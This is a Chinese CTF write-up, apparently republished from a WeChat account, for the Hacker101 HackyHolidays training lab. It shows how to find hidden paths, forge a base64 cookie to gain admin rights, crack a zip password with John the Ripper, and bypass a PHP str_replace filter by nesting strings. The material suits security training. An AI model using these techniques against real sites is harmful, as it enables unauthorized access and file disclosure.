注：该靶场有12个Flag，篇幅较长，而且前后不影响阅读。所以分为两篇文章。
![[Hacker101靶场] HackyholidaysCTF-1[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/0-1721190366.png "[Hacker101靶场] HackyholidaysCTF-1[moderate]")
并且发现隐藏目录/s3cr3t-ar3a
![[Hacker101靶场] HackyholidaysCTF-1[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/2-1721190367.png "[Hacker101靶场] HackyholidaysCTF-1[moderate]")
![[Hacker101靶场] HackyholidaysCTF-1[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/1-1721190367.png "[Hacker101靶场] HackyholidaysCTF-1[moderate]")
![[Hacker101靶场] HackyholidaysCTF-1[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/0-1721190369.png "[Hacker101靶场] HackyholidaysCTF-1[moderate]")
![[Hacker101靶场] HackyholidaysCTF-1[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/10-1721190371.jpeg "[Hacker101靶场] HackyholidaysCTF-1[moderate]")
/people-rater/entry/?id=eyJpZCI6Mn0=，/people-rater/entry/?id=eyJpZCI6MX0=![[Hacker101靶场] HackyholidaysCTF-1[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/9-1721190373.png "[Hacker101靶场] HackyholidaysCTF-1[moderate]")
![[Hacker101靶场] HackyholidaysCTF-1[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/9-1721190374.png "[Hacker101靶场] HackyholidaysCTF-1[moderate]")
-
/api/stock是商品请求接口 -
请求/api/user/要求输入参数
![[Hacker101靶场] HackyholidaysCTF-1[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/0-1721190375.png "[Hacker101靶场] HackyholidaysCTF-1[moderate]")
![[Hacker101靶场] HackyholidaysCTF-1[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/5-1721190376.png "[Hacker101靶场] HackyholidaysCTF-1[moderate]")
![[Hacker101靶场] HackyholidaysCTF-1[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/9-1721190377.png "[Hacker101靶场] HackyholidaysCTF-1[moderate]")
/api/user?uuid=C7DCCE-0E0DAB-B20226-FC92EA-1B9043![[Hacker101靶场] HackyholidaysCTF-1[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/3-1721190378.png "[Hacker101靶场] HackyholidaysCTF-1[moderate]")
![[Hacker101靶场] HackyholidaysCTF-1[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/4-1721190380.png "[Hacker101靶场] HackyholidaysCTF-1[moderate]")
![[Hacker101靶场] HackyholidaysCTF-1[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/1-1721190381.png "[Hacker101靶场] HackyholidaysCTF-1[moderate]")
# cookiesecurelogin=eyJjb29raWUiOiIxYjVlNWYyYzlkNThhMzBhZjRlMTZhNzFhNDVkMDE3MiIsImFkbWluIjpmYWxzZX0%3D# base64解密{"cookie":"1b5e5f2c9d58a30af4e16a71a45d0172","admin":false}7
securelogin=eyJjb29raWUiOiIxYjVlNWYyYzlkNThhMzBhZjRlMTZhNzFhNDVkMDE3MiIsImFkbWluIjp0cnVlfQ==![[Hacker101靶场] HackyholidaysCTF-1[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/4-1721190382.png "[Hacker101靶场] HackyholidaysCTF-1[moderate]")
zip2john my_secure_files_not_for_you.zip > mysecure.hashjohn mysecure.hash
![[Hacker101靶场] HackyholidaysCTF-1[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/6-1721190384.png "[Hacker101靶场] HackyholidaysCTF-1[moderate]")
![[Hacker101靶场] HackyholidaysCTF-1[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/6-1721190384-1.png "[Hacker101靶场] HackyholidaysCTF-1[moderate]")
![[Hacker101靶场] HackyholidaysCTF-1[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/8-1721190386.png "[Hacker101靶场] HackyholidaysCTF-1[moderate]")
-
先过滤字母数字点的字符， -
过滤admin.php -
再过滤secretadmin.php
$page = $_GET["template"];//remove non allowed characters$page = preg_replace('/([^a-zA-Z0-9.])/','',$page);//protect admin.php from being read$page = str_replace("admin.php","",$page);//I've changed the admin file to secretadmin.php for more security!$page = str_replace("secretadmin.php","",$page);
# 我们想访问的文件如下：secretadmin.php# secretadmin.php会被过滤# secretadmin.php在中间再加一个secretadmin.php# 那么过滤一次后就得到我们想要的。secretadsecretadmin.phpmin.php# 但是admin.php还会被过滤# 在admin.php中间加一个admin.phpsecretadsecretadmadmin.phpin.phpmin.php# 示意图[secretad[secretadm[admin.php]in.php]min.php]
![[Hacker101靶场] HackyholidaysCTF-1[moderate]](http://cn-sec.com/wp-content/uploads/2024/07/7-1721190386.png "[Hacker101靶场] HackyholidaysCTF-1[moderate]")
原文始发于微信公众号（Rsec）：[Hacker101靶场] HackyholidaysCTF-1[moderate]
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论